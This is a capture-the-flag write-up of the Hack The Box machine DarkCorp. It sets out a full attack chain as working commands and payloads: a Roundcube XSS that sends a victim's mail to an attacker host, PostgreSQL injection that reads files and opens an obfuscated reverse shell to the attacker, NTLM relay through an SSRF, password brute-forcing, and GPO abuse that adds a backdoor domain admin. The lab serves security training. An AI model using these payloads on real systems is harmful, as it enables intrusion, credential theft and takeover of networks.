Starting the box
Link to the box: https://app.hackthebox.com/machines/DarkCorp.
Port Scan
We start off the box by running a port scan on the provided IP.
rustscan -a 10.10.11.54 -r 1-65535 -- -A -sC -sV -vvv -o darkcorp
Output of Nmap:
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
| 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM
80/tcp open http syn-ack nginx 1.22.1
|_http-favicon: Unknown favicon MD5: B0F964065616CFF6D415A5EDCFA30B97
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
| http-title: DripMail
|_Requested resource was index
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A few key notes:
- Port 22 (SSH) is open running OpenSSH 9.2p1 on Debian
- Port 80 (Web Server) is open running nginx 1.22.1
- The HTTP title indicates “DripMail” - likely an email service
- The underlying OS is Linux (Debian)
Edit the Hosts file
As always, we edit the /etc/hosts file to add the hostname:
Enumerating Port 80: Web Server (drip.htb)
Let’s check out the web server at http://drip.htb:
Subdomain Enumeration
We’ll enumerate subdomains to find additional targets:
gobuster vhost -u http://10.10.11.54 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain drip.htb | grep "Status: 200"
mail.drip.htb Status: 200 [Size: 5323]
- Nice. We found a new target:
mail.drip.htb
- Remember to add this into our hosts file
Let’s add it to our hosts file:
10.10.11.54 drip.htb mail.drip.htb
Manual Enumeration
We can sign up for an account at http://drip.htb/register:
After registering, we are redirected to http://mail.drip.htb, and there is a welcome email:
Hi admin,
Welcome to DripMail! We're excited to provide you convenient email solutions!. If you need help, please reach out to us at [email protected].
Checking the mail service information:
Roundcube Webmail 1.6.7
Copyright © 2005-2022, The Roundcube Dev Team
### Installed plugins
|Plugin|Version|License|Source|
|---|---|---|---|
|filesystem_attachments|1.0|[GPL-3.0+](http://www.gnu.org/licenses/gpl.html)||
|jqueryui|1.13.2|[GPL-3.0+](http://www.gnu.org/licenses/gpl.html)|
- The service is running Roundcube Webmail 1.6.7
- This version is potentially vulnerable to CVE-2024-42009
Upon checking our mailbox, we saw this interesting message:
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited. If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at [email protected]
RoundCube XSS (CVE-2024-42009)
Researching the vulnerability:
The vulnerability exploits a regex pattern used to remove bgcolor from the body tag:
/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i
- This regex removes any
bgcolor alongside some optional quotation marks anywhere within the body tag
- We can trick the regex into breaking other attributes
We can use this payload to trigger XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
Foo
</body>
- The regex removes
bgcolor=foo", causing the syntax to break and allowing our onanimationstart handler to execute
The payload should be sent via the contact section at http://drip.htb/index#contact:
POST /contact HTTP/1.1
Host: drip.htb
name=123&[email protected]&message=<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
Foo
</body>&content=html&[email protected]
- The
content=html parameter is crucial for the payload to work
- Success! The XSS triggers when the recipient opens the email
Stealing bcase’s Email
Let’s craft a payload to steal emails from [email protected]. First, we’ll test with a simple fetch:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch('http://10.10.14.22/')>Foo</body>
- Note: We need to use single quotes inside the
onanimationstart handler to avoid breaking the syntax
After testing various payloads, we found this working payload that exfiltrates email content:
<body title='bgcolor=foo' name='bar style=animation-name:progress-bar-stripes; onanimationstart=fetch('http://mail.drip.htb/?_task=mail&_action=show&_uid=1&_mbox=INBOX&_extwin=1').then(r=>r.text()).then(d=>fetch('http://10.10.14.22/steal',{method:'POST',body:d,headers:{'Content-Type':'application/x-www-form-urlencoded'}})) foo=bar'>test</body>
Setting up our listener:
from http.server import BaseHTTPRequestHandler, HTTPServer
class FileSavingHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
print("\nReceived POST data:", post_data)
# Save data to a file
with open("received_data.txt", "a") as f:
f.write(post_data + "\n")
# Send response
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(b"Data saved successfully!")
# Start server
server_address = ('0.0.0.0', 80)
httpd = HTTPServer(server_address, FileSavingHTTPRequestHandler)
print("Listening for POST requests on port 80...")
httpd.serve_forever()
Sending the payload to [email protected]:
name=test&[email protected]&message=<body title='bgcolor=foo' name='bar style=animation-name:progress-bar-stripes; onanimationstart=fetch('http://mail.drip.htb/?_task=mail&_action=show&_uid=1&_mbox=INBOX&_extwin=1').then(r=>r.text()).then(d=>fetch('http://10.10.14.22/steal',{method:'POST',body:d,headers:{'Content-Type':'application/x-www-form-urlencoded'}})) foo=bar'>test</body>&content=html&[email protected]
Successfully received bcase’s email:
Hey Bryce,
The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the users currently using our service.
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.
If you encounter any issues or have feedback, let me know so I can address them promptly.
Thanks
- New domain discovered:
dev-a3f1-01.drip.htb
- We need to reset bcase’s password to access the dashboard
We can also steal the password reset token from bcase’s mailbox by targeting a different email UID. The reset token email contains:
Your reset token has generated. Please reset your password within the next 5 minutes.
You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z61dqA.osMiUvlWRfGM3Xea1n-1BNODuaM
- We can now reset bcase’s password and access the dashboard
Discovering the Development Dashboard
Additional Hostname Enumeration
Let’s take a step back. We noticed that we haven’t added darkcorp as a domain to our hosts file yet. This is important for CTF boxes:
10.10.11.54 drip.htb mail.drip.htb dev-a3f1-01.drip.htb darkcorp.htb
Now let’s enumerate subdomains for darkcorp.htb:
gobuster vhost -u http://10.10.11.54 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain darkcorp.htb | grep "Status: 200"
- No additional subdomains found
Directory Enumeration on darkcorp.htb
Let’s run directory enumeration on darkcorp.htb:
feroxbuster -u http://darkcorp.htb -C 404
200 GET 1l 5w 64c http://darkcorp.htb/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard => http://darkcorp.htb/dashboard/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/media => http://darkcorp.htb/dashboard/media/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps => http://darkcorp.htb/dashboard/apps/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/templates => http://darkcorp.htb/dashboard/apps/templates/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/home => http://darkcorp.htb/dashboard/apps/home/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/static => http://darkcorp.htb/dashboard/apps/static/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/templates/includes => http://darkcorp.htb/dashboard/apps/templates/includes/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/templates/home => http://darkcorp.htb/dashboard/apps/templates/home/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/static/assets => http://darkcorp.htb/dashboard/apps/static/assets/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/templates/accounts => http://darkcorp.htb/dashboard/apps/templates/accounts/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/templates/layouts => http://darkcorp.htb/dashboard/apps/templates/layouts/
301 GET 7l 11w 169c http://darkcorp.htb/dashboard/apps/authentication => http://darkcorp.htb/dashboard/apps/authentication/
- We found a
/dashboard directory with multiple subdirectories
- The structure suggests this is a Flask application
/authentication looks particularly interesting
Let’s enumerate with dirsearch to find configuration files:
dirsearch /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 404 -u http://darkcorp.htb
[22:40:27] 200 - 796B - /dashboard/.env
[22:40:39] 301 - 169B - /dashboard/__pycache__ -> http://darkcorp.htb/dashboard/__pycache__/
[22:41:00] 301 - 169B - /dashboard/apps -> http://darkcorp.htb/dashboard/apps/
[22:41:49] 200 - 330B - /dashboard/requirements.txt
- We found a
.env file! This typically stores environmental variables and credentials
Downloading the .env file:
# True for development, False for production
DEBUG=False
# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development
# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>
# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets
# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = '[email protected]'
- PostgreSQL database credentials:
dripmail_dba:2Qa2SsBkQvsc
- Flask secret key:
GCqtvsJtexx5B7xHNVxVj0y2X0m10jq
- This is valuable information for later exploitation
Since we know this is a Flask application, let’s enumerate the authentication directory for Python files:
feroxbuster -u http://darkcorp.htb/dashboard/apps/authentication -x py
200 GET 39l 69w 1436c http://darkcorp.htb/dashboard/apps/authentication/forms.py
200 GET 30l 89w 1066c http://darkcorp.htb/dashboard/apps/authentication/util.py
200 GET 84l 287w 2955c http://darkcorp.htb/dashboard/apps/authentication/models.py
200 GET 142l 338w 5011c http://darkcorp.htb/dashboard/apps/authentication/routes.py
- We can read the Flask application source code!
In routes.py, we found the password reset functionality:
try:
reset_token = ts_secret_key.dumps(email)
print(reset_token)
msg = Message(
recipients=[email],
sender = '[email protected]',
reply_to = '[email protected]',
subject = "Reset token",
body = f"Your reset token has generated. Please reset your password within the next 5 minutes.\n\nYou may reset your password here: http://dev-a3f1-01.drip.htb/reset/{reset_token}"
)
mail.send(msg)
flash("Reset token sent successfully.", "success")
return redirect(url_for('authentication_blueprint.forgot'))
except:
flash("Failed to send reset token.", "error")
return redirect(url_for('authentication_blueprint.forgot'))
- This confirms the
dev-a3f1-01.drip.htb domain we found earlier
Accessing the Dashboard
After resetting bcase’s password using the stolen reset token, we can log into the dashboard at http://dev-a3f1-01.drip.htb:
- We can see user information including IP addresses
- The
test user has a different IP: 172.16.20.1 - suggesting an internal network
Exploiting SQLi in dev-a3f1-01.drip.htb
The dashboard has a search function that returns interesting error messages:
(psycopg2.errors.UndefinedFunction) operator does not exist: character varying = integer LINE 1: SELECT * FROM "Users" WHERE "Users".username = 123 ^ HINT: No operator matches the given name and argument types. You might need to add explicit type casts. [SQL: SELECT * FROM "Users" WHERE "Users".username = 123] (Background on this error at: https://sqlalche.me/e/20/f405)
- The error reveals we’re dealing with PostgreSQL via SQLAlchemy
- The application uses
psycopg2 for database connections
Testing the search function, we find that searching for 'bcase' (with quotes) returns results. This suggests SQL injection:
- This returns all users, confirming SQL injection
Some keywords like UNION appear to be filtered. Let’s enumerate the database manually using Stacked Queries:
'bcase'; SELECT table_name FROM information_schema.tables WHERE table_schema='public';
- Tables found:
Users, Admins
'bcase'; SELECT column_name, data_type FROM information_schema.columns WHERE table_name='Admins';
- Columns:
id, username, password, email
Dumping user credentials:
'bcase'; SELECT username, password from "Users";
support:d9b9ecbf29db8054b21f303072b37c4e
bcase:1eace53df87b9a15a37fdc11da2d298d
ebelford:0cebd84e066fd988e89083879e88c5f9
test:098f6bcd4621d373cade4e832627b4f6
- We found password hashes for multiple users
ebelford is particularly interesting as it appeared in the user list
PostgreSQL File Read and RCE
Since we have SQL injection in PostgreSQL, we can leverage powerful built-in functions. Let’s test file reading:
'bcase'; SELECT pg_read_file('/etc/passwd', 0, 99999);
root:x:0:0:root:/root:/bin/bash
bcase:x:1000:1000:Bryce Case Jr.,,,:/home/bcase:/bin/bash
vmail:x:5000:5000::/home/vmail:/usr/bin/nologin
ebelford:x:1002:1002:Eugene Belford:/home/ebelford:/bin/bash
- File read works! We can see
bcase and ebelford are system users
We can also list directories:
'bcase'; SELECT * FROM pg_ls_dir('/var/www/html');
index.html
dashboard
dripmail
Now let’s escalate to RCE. The COPY command can execute system commands, but it appears to be filtered by WAF. We can bypass this using obfuscation:
DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.22/443 0>&1"'''; EXECUTE c; END $$;
- This stores
C O P Y and the command into variable c, then executes it
- The WAF cannot detect the keyword because it’s obfuscated using
CHR() functions
Setting up our listener:
Executing the payload:
postgres@drip:/var/lib/postgresql/15/main$ whoami
postgres
- Success! We have a shell as the
postgres user
Pivoting to ebelford
Enumerating the System
Let’s check the hosts file for network information:
127.0.0.1 localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb
nameserver 172.16.20.1
search darkcorp.htb
darkcorp.htb
- We’re on
172.16.20.3 (drip.darkcorp.htb)
- There’s a domain controller at
172.16.20.1 (DC-01.darkcorp.htb)
- This indicates an Active Directory environment
Checking our network interfaces:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.20.3 netmask 255.255.255.0 broadcast 172.16.20.255
- Confirmed: we’re on the
172.16.20.0/24 network
Finding Credentials in Database Logs
Since we’re running as the postgres user, we should check PostgreSQL logs for sensitive information. LinPEAS might not catch these:
cat /var/log/postgresql/postgresql-15-main.log.1 | grep ebelford
2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT: UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;
- We found ebelford’s password hash being updated in the logs!
- Hash:
8bbd7f88841b4223ae63c8848969be86
Cracking the hash:
hashcat -m 0 8bbd7f88841b4223ae63c8848969be86 /usr/share/wordlists/rockyou.txt
8bbd7f88841b4223ae63c8848969be86:ThePlague61780
- Successfully cracked:
ThePlague61780
Alternative Path - PostgreSQL Backups
There’s also an alternative way to find credentials. Someone hinted that credentials exist in /var/backups/postgres:
ls -la /var/backups/postgres
-rw-r--r-- 1 postgres postgres 1784 Feb 5 12:52 dev-dripmail.old.sql.gpg
- We found an encrypted GPG file
Attempting to decrypt:
gpg -d dev-dripmail.old.sql.gpg
Trying the database password:
- Success! The backup decrypts
Contents of the backup:
- We found another user:
victor.r with hash cac1c7b0e7008d67b6db40c03e76b9c0
- This is likely a Windows domain user
Cracking victor.r’s hash:
hashcat -m 0 cac1c7b0e7008d67b6db40c03e76b9c0 /usr/share/wordlists/rockyou.txt
cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
- Successfully cracked:
victor1gustavo@#
SSH Access as ebelford
Let’s SSH as ebelford:
- Successfully authenticated!
Enumerating the Internal Network
Setting up for Lateral Movement
Since we need to access the internal 172.16.20.0/24 network, we’ll set up Ligolo for pivoting.
First, download the Ligolo agent to the compromised host:
wget 10.10.14.22/linux/ligolo/agent
chmod +x agent
Start the Ligolo agent:
./agent -connect 10.10.14.22:8000 -ignore-cert&
On our attacker machine, start the Ligolo proxy and add a route to the internal network:
sudo ip route add 172.16.20.0/24 dev ligolo
- Ligolo creates a tunnel allowing us to access the internal network directly
Alternatively, we can use SSHuttle for easier network access:
- This creates a VPN-like tunnel to the internal network without needing to upload additional binaries
Network Discovery
Let’s scan the internal network for SMB hosts:
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB 172.16.20.2 445 WEB-01 [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
- DC-01: Domain Controller at
172.16.20.1 (SMB signing enabled)
- WEB-01: Web server at
172.16.20.2 (SMB signing disabled - potential relay target!)
Testing our credentials against the domain:
nxc smb 172.16.20.2 -u "victor.r" -p "victor1gustavo@#"
SMB 172.16.20.2 445 WEB-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
- Success!
victor.r is a valid domain account
Enumerating domain users:
nxc smb 172.16.20.1 -u "victor.r" -p "victor1gustavo@#" --users
Administrator
Guest
krbtgt
victor.r
svc_acc
john.w
angela.w
angela.w.adm
taylor.b
taylor.b.adm
eugene.b
bryce.c
- Multiple administrative accounts with
.adm suffix
svc_acc - likely a service account
Checking for AS-REP roastable accounts:
impacket-GetNPUsers -dc-ip 172.16.20.1 'darkcorp.htb/victor.r':'victor1gustavo@#' -request -format hashcat -outputfile asrep-hashes.txt
- No AS-REP roastable accounts found
Bloodhound Enumeration
Let’s run Bloodhound to map the Active Directory environment. Unfortunately, Ligolo has DNS resolution issues with Bloodhound, so we’ll use SSH dynamic port forwarding with proxychains instead.
Setting up SSH dynamic port forwarding:
Edit the proxychains configuration:
sudo nano /etc/proxychains4.conf
dnat 10.10.11.54 172.16.20.1
socks5 127.0.0.1 1080
- The
dnat line ensures traffic to 10.10.11.54 is routed to the actual DC at 172.16.20.1
Now run Bloodhound through proxychains with the --dns-tcp flag:
proxychains4 bloodhound-python -u [email protected] -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb
Key findings from Bloodhound:
taylor.b.adm is a GPO manager and can PSRemote
svc_acc has DNSAdmin privileges
Enumerating SMB Shares
enum4linux-ng -u "victor.r" -p "victor1gustavo@#" 172.16.20.1 -A
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share CertEnroll
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK
- We have access to
CertEnroll - this suggests ADCS (Active Directory Certificate Services) is in use
Checking for ADCS:
nxc ldap 172.16.20.1 -u victor.r -p 'victor1gustavo@#' -M adcs
Found PKI Enrollment Server: DC-01.darkcorp.htb
Found CN: DARKCORP-DC-01-CA
Found PKI Enrollment WebService: https://dc-01.darkcorp.htb/DARKCORP-DC-01-CA_CES_Kerberos/service.svc/CES
- ADCS is present but looks complex to exploit
Enumerating WEB-01
Let’s scan WEB-01 for additional services:
nmap -sC -sV -p- 172.16.20.2
80/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
5000/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| Negotiate
|_ NTLM
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
| http-ntlm-info:
| Target_Name: darkcorp
| NetBIOS_Domain_Name: darkcorp
| NetBIOS_Computer_Name: WEB-01
| DNS_Domain_Name: darkcorp.htb
| DNS_Computer_Name: WEB-01.darkcorp.htb
| DNS_Tree_Name: darkcorp.htb
|_ Product_Version: 10.0.20348
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
- Port 5000 is running IIS with NTLM authentication
- Port 5985 (WinRM) is open for PSRemoting
NTLM Relay Attack
Web Dashboard SSRF
Let’s try accessing port 5000 with NTLM authentication:
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/
- This works! The browser login wasn’t working due to Burp Proxy intercepting the NTLM authentication
Examining the HTML source:
<a class="nav-link" href="/">Dashboard</a>
<a class="nav-link" href="/graphs">Graphs</a>
<a class="nav-link" href="/check">Check Status</a>
<a class="nav-link" href="/export-logs">Export Logs</a>
fetch('/service-status')
- There’s a “Check Status” functionality that looks interesting
Testing the status check endpoint:
POST /status HTTP/1.1
Host: 172.16.20.2:5000
Content-Type: application/json
{"protocol":"http","host":"web-01.darkcorp.htb","port":"80"}
{"message":"http://web-01.darkcorp.htb:80 is up!","status":"Success!"}
- The application performs health checks on arbitrary hosts!
- This is an SSRF vulnerability
Testing other ports:
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"web-01.darkcorp.htb","port":"81"}'
{"message":"http://web-01.darkcorp.htb:81 is unreachable: HTTPConnectionPool(host='web-01.darkcorp.htb', port=81): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x000001F5ECF47FD0>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it'))","status":"Error"}
- Detailed error messages reveal this is a Python application using
urllib3
- When the application connects to an HTTP endpoint, it will authenticate using NTLM
- We can relay this authentication!
Relaying to Domain Controller
Since we’re on the drip.darkcorp.htb host (172.16.20.3), we can make the application connect back to us and relay the authentication to the Domain Controller.
First, let’s update our hosts file on the DC:
172.16.20.1 dc-01.darkcorp.htb
172.16.20.2 web-01.darkcorp.htb
172.16.20.3 drip.darkcorp.htb
Setting up ntlmrelayx with multiple targets:
smb://172.16.20.1
ldap://172.16.20.1
smb://172.16.20.2
ldap://172.16.20.2
impacket-ntlmrelayx -smb2support -tf targets.txt --output-file ntlmrelayx-logs -w --no-multirelay
- The
-w flag starts a web server to capture the authentication
--output-file will capture hashes for logging
Now we need to make WEB-01 connect to our machine. Since we’re on drip.darkcorp.htb, we can set up a listener:
From our ebelford SSH session on drip.darkcorp.htb:
Wait, we need to forward this properly. Let’s use a better approach - we’ll start a simple HTTP server on our attacker machine and use SSH port forwarding:
Actually, let’s set up the relay differently. We’ll trigger the SSRF to connect to drip.darkcorp.htb (which we control via SSH), and from there relay to the DC:
impacket-ntlmrelayx -smb2support -t ldap://172.16.20.1 --output-file ntlmrelayx-logs -i
On drip, we set up an HTTP server that will be accessed:
python3 -m http.server 80
Now trigger the SSRF:
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"drip.darkcorp.htb","port":"80"}'
Wait, this won’t work correctly because we need to relay from our attacker box. Let me reconsider the setup.
Actually, we need to use SSH port forwarding to relay traffic. On our SSH connection to drip:
This forwards port 8081 on drip to port 80 on our attacker machine.
Now we start ntlmrelayx:
impacket-ntlmrelayx -smb2support -t ldap://172.16.20.1 --output-file ntlmrelayx-logs -i
And trigger the SSRF to connect to drip:8081:
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"drip.darkcorp.htb","port":"8081"}'
[*] HTTPD(80): Authenticating against ldap://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 as DARKCORP/SVC_ACC
- Success! We relayed
svc_acc’s authentication to the LDAP server
- We now have an interactive LDAP shell as
svc_acc
Connecting to the LDAP shell:
# whoami
u:darkcorp\svc_acc
- We have an LDAP shell, but it’s limited in functionality
- The relay was successful, proving we can abuse the SSRF
Privilege Escalation
Abusing GPO as taylor.b.adm
Finding taylor.b.adm Credentials
From our Bloodhound analysis, we know that taylor.b.adm is a GPO manager with PSRemote capabilities. Let’s try to find credentials for this account.
Since direct ADCS exploitation looks complex, let’s try password spraying:
kerbrute bruteuser -d darkcorp.htb --dc dc-01.darkcorp.htb /usr/share/wordlists/rockyou.txt taylor.b.adm -v -t 100
- Success! Credentials:
taylor.b.adm:!QAZzaq1
WinRM Access
Let’s connect via WinRM:
evil-winrm -u taylor.b.adm -p '!QAZzaq1' -i dc-01.darkcorp.htb
- Successfully connected to the Domain Controller!
GPO Abuse
Since taylor.b.adm is a GPO manager, we can abuse Group Policy to escalate privileges. We’ll use pygpoabuse to create a scheduled task that adds a new admin user.
First, identify the GPO we can modify. From Bloodhound or by listing GPOs:
Get-GPO -All | Select DisplayName, Id
The GPO path format is:
\\DARKCORP.HTB\SYSVOL\DARKCORP.HTB\POLICIES\{652CAE9A-4BB7-49F2-9E52-3361F33CE786}
- The GPO ID is:
652CAE9A-4BB7-49F2-9E52-3361F33CE786
Using pygpoabuse on our attacker machine:
python pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id '652CAE9A-4BB7-49F2-9E52-3361F33CE786'
SUCCESS:root:ScheduledTask TASK_248c1f74 created!
[+] ScheduledTask TASK_248c1f74 created!
- The tool created a scheduled task via GPO that will add a backdoor user
Forcing a GPO update on the DC:
Checking for new users:
User accounts for \\
-------------------------------------------------------------------------------
Administrator angela.w angela.w.adm
bryce.c eugene.b Guest
john john.w krbtgt
svc_acc taylor.b taylor.b.adm
victor.r
The command completed with one or more errors.
- New user
john has been created!
- Default credentials from pygpoabuse:
john:H4x00r123..
Verifying the account has admin access:
nxc smb 172.16.20.1 -u john -p 'H4x00r123..'
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\john:H4x00r123.. (Pwn3d!)
- Confirmed!
john has administrative privileges
Dumping Domain Secrets
Now we can dump the domain secrets:
impacket-secretsdump darkcorp/john:'H4x00r123..'@172.16.20.1
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe7c8f385f342172c7b0267fe4f3cbbd6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f
- Administrator NTLM hash:
fcb3ca5a19a1ccf2d14c13e8b64cde0f
Getting the Flags
User flag from WEB-01:
nxc smb 172.16.20.2 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f -x 'type C:\Users\Administrator\Desktop\user.txt'
[+] Executed command via wmiexec
8a1686aa8240ed9590d9e0d97b70f7b8
Root flag from DC-01:
evil-winrm -i 172.16.20.1 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
type C:\Users\Administrator\Desktop\root.txt
64d64d39786adaf9a160fc6f321eb3f5
Learning
1. CVE-2024-42009 - RoundCube XSS via Regex Desanitization
A Cross-Site Scripting vulnerability in Roundcube Webmail 1.6.7 allows attackers to steal emails by exploiting a regex pattern that removes bgcolor attributes. By crafting payloads like <body title="bgcolor=foo" name="bar onload=...">, the regex incorrectly removes bgcolor=foo", breaking the syntax and allowing JavaScript execution. This can be used to exfiltrate emails from targets who open malicious messages.
2. Always Enumerate All Domains Thoroughly
Don’t forget to add the box name as a domain in your hosts file (e.g., darkcorp.htb in addition to drip.htb). Different domains may expose different applications and attack surfaces. Always perform both subdomain enumeration and directory busting on all discovered domains.
3. PostgreSQL Arbitrary File Read and RCE via SQL Injection
When you have SQL injection in PostgreSQL, you can leverage powerful built-in functions:
pg_read_file('/path/to/file', offset, length) - Read arbitrary files
pg_ls_dir('/path/') - List directory contents
COPY (SELECT ...) TO PROGRAM 'command' - Execute system commands
If WAF blocks the COPY keyword, bypass it using character concatenation:
DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.22/443 0>&1"'''; EXECUTE c; END $$;
4. Check Database Logs and Backup Files When Running as Database User
When you compromise a database service account (like postgres), always check:
- Database logs:
/var/log/postgresql/ - May contain cleartext credentials from UPDATE/INSERT statements
- Backup files:
/var/backups/postgres/ - May contain GPG-encrypted database dumps
- Configuration files: May contain passwords for decrypting backups
LinPEAS may not catch these files, so manual enumeration is crucial.
When you need to access internal networks through a compromised host, use Ligolo for efficient tunneling:
# On victim
./agent -connect attacker-ip:8000 -ignore-cert&
# On attacker
sudo ip route add 172.16.20.0/24 dev ligolo
If Ligolo is not available or suitable, use SSHuttle for VPN-like access:
sshuttle -r user@pivot-host 172.16.20.0/24
